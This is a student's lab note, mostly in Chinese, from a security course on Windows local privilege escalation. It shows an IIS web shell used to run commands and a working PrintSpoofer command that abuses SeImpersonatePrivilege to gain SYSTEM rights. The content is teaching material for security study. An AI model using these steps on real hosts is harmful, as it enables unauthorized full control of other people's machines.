NTUSTISC - AD Note - Lab(Hijack Token)
[TOC]
Lecture Video: 2022/05/04 AD 安全1
Background
- 提權方法
- 利用弱點
- Hijack Token
- Tools: PrintSpoofer
- Support: Windows 8.1/Server 2012 R2/10/Server 2019
- How to use:
$ PrintSpoofer.exe -c "command"
- Guess Password
- 管理服務
- 錯誤配置
Lab Time - 本地提權
==Hijack Token(Network Service)==
這邊講師示範的是,如何利用IIS的特殊權限,達成提權。 先解釋一下,如果要使用PrintSpoofer之類的工具有個特殊的條件,就是需要有特殊權限,也就是 :::info
$ whoami /priv
需要有下列其一權限: SeImpersonatePrivilege => CreateProcessWithToken() SeAddignPrimaryToekn => CreateProcessAsUser() :::
- whoami /priv
我們先看一下正常使用者的特殊權限有哪些
$ whoami /priv PRIVILEGES INFORMATION ---------------------- 特殊權限名稱 描述 狀況 ============================= ================== ====== SeShutdownPrivilege 關閉系統 已停用 SeChangeNotifyPrivilege 略過周遊檢查 已啟用 SeUndockPrivilege 從擴充座移除電腦 已停用 SeIncreaseWorkingSetPrivilege 增加處理程序工作組 已停用 SeTimeZonePrivilege 變更時區 已停用
可以看到上述的權限都沒有在這裏面,也就是說正常的使用者是不會有這兩個權限的,那誰會有這兩個權限呢?需要==impersonation(也就是講師說的切換身分)的人==,詳細的腳本可以看這邊1但今天不會用到,總之IIS就是一個需要做身分切換的角色,所以講師已經在Win10的電腦中設定好IIS,也起用了web shell的功能,我們就可以試看看,在browser中
http://127.0.0.1/cmd.aspx
,他可以直接用IIS的權限執行程式從結果來看,他的確具有==SeImpersonatePrivilege==的權限而且已經啟用,那我們就可以直接用PrintSpoofer.exe執行其他指令
- Use PrintSpoofer.exe
從結果來看,我們的確已經提權了,再來可以用講師的指令測試一下權限
c:\tools\PrintSpoofer64.exe -c "c:\windows\system32\cmd.exe /c whoami > c:\inetpub\wwwroot\tmp.txt"
這一串指令是利用PrintSpoofer執行cmd.exe再執行whoami的command並寫道tmp.txt中目前權限已經從
iis apppool\defaultapppool
轉換成nt authority\system
也就是前面說的==本地端真正的最高權限使用者==